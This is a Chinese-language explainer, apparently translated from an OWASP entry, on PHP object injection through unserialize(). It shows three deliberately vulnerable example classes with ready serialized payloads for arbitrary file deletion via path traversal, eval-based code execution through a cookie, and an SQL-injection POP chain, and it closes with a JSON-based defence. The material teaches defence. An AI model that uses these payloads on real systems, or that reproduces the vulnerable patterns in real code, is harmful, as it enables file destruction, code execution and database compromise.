PHP对象注入 PHP Object Injection
描述
PHP对象注入是一个允许骇客展开各种恶意攻击的应用级漏洞，比如说代码注入 ，SQL注入 ，目录遍历 和应用程序拒绝服务 （取决于具体的上下文/环境）。当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生该漏洞。因为PHP允许对象序列化，攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数，最终导致一个在该应用范围内的任意PHP对象注入。
为了正确的利用一个PHP对象注入漏洞，两个条件必须满足：
- 该网络应用必须有一个拥有PHP魔术方法（比如说__wakeup或__destruct）的类，以此来承载运行恶意攻击请求或者开始POP chain 。
- 所有攻击过程中利用的类必须在调用unserialize()之前就已经声明了，否则必须有类的自动加载 。
例子
例一
下面的例子显示了一个具有PHP对象注入漏洞的类（__destruct方法）：
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
在这个例子中，攻击者可以通过目录遍历攻击删掉任意一个文件，例如提交以下一个URL:
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
例二
下面的例子显示了一个具有PHP对象注入漏洞的类（__wakeup方法）：
class Example2
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
在这个例子中，攻击者可以通过发送如下的HTTP请求来进行代码注入攻击：
GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close
这里的cookie变量“data”是通过下面的脚本产生的：
class Example2
{
private $hook = "phpinfo();";
}
print urlencode(serialize(new Example2));
例三
最后一个例子展示了利用“POP chain”进行SQL注入的可能性，例如利用一个__toString方法：
class Example3
{
protected $obj;
function __construct()
{
// some PHP code...
}
function __toString()
{
if (isset($this->obj)) return $this->obj->getValue();
}
}
// some PHP code...
$user_data = unserialize($_POST['data']);
// some PHP code...
如果$user_data是一个“Example3”类的对象并且它在代码中会被当做一个字符串，那么它的__toString方法就会被调用。因为__toString会调用对象中的getValue获取对象中的属性，所以有可能将设置这个属性于任意对象并运行getValue方法——如果可以的话，否则__call方法就会被调用。假设以下类型在应用中是可获得的或者是自动加载的：
class SQL_Row_Value
{
private $_table;
// some PHP code...
function getValue($id)
{
$sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
$result = mysql_query($sql, $DBFactory::getConnection());
$row = mysql_fetch_assoc($result);
return $row['value'];
}
}
在这个例子中攻击者可能有机会通过提交POST请求进行SQL注入攻击，请求中的“DATA”参量按如下脚本生成：
class SQL_Row_Value
{
private $_table = "SQL Injection";
}
class Example3
{
protected $obj;
function __construct()
{
$this->obj = new SQL_Row_Value;
}
}
print urlencode(serialize(new Example3));
相关的控制方法
防范方法
请不要对用户的输入使用unserialize()进行反序列化，应该使用JSON的方法。
参考
PHP：反序列化
魔术方法
PHP RFC: 安全的反序列化unserialize()
PHP漏洞利用 Stefan Esser, POC 2009
PHP漏洞利用之代码重用/返回导向编程
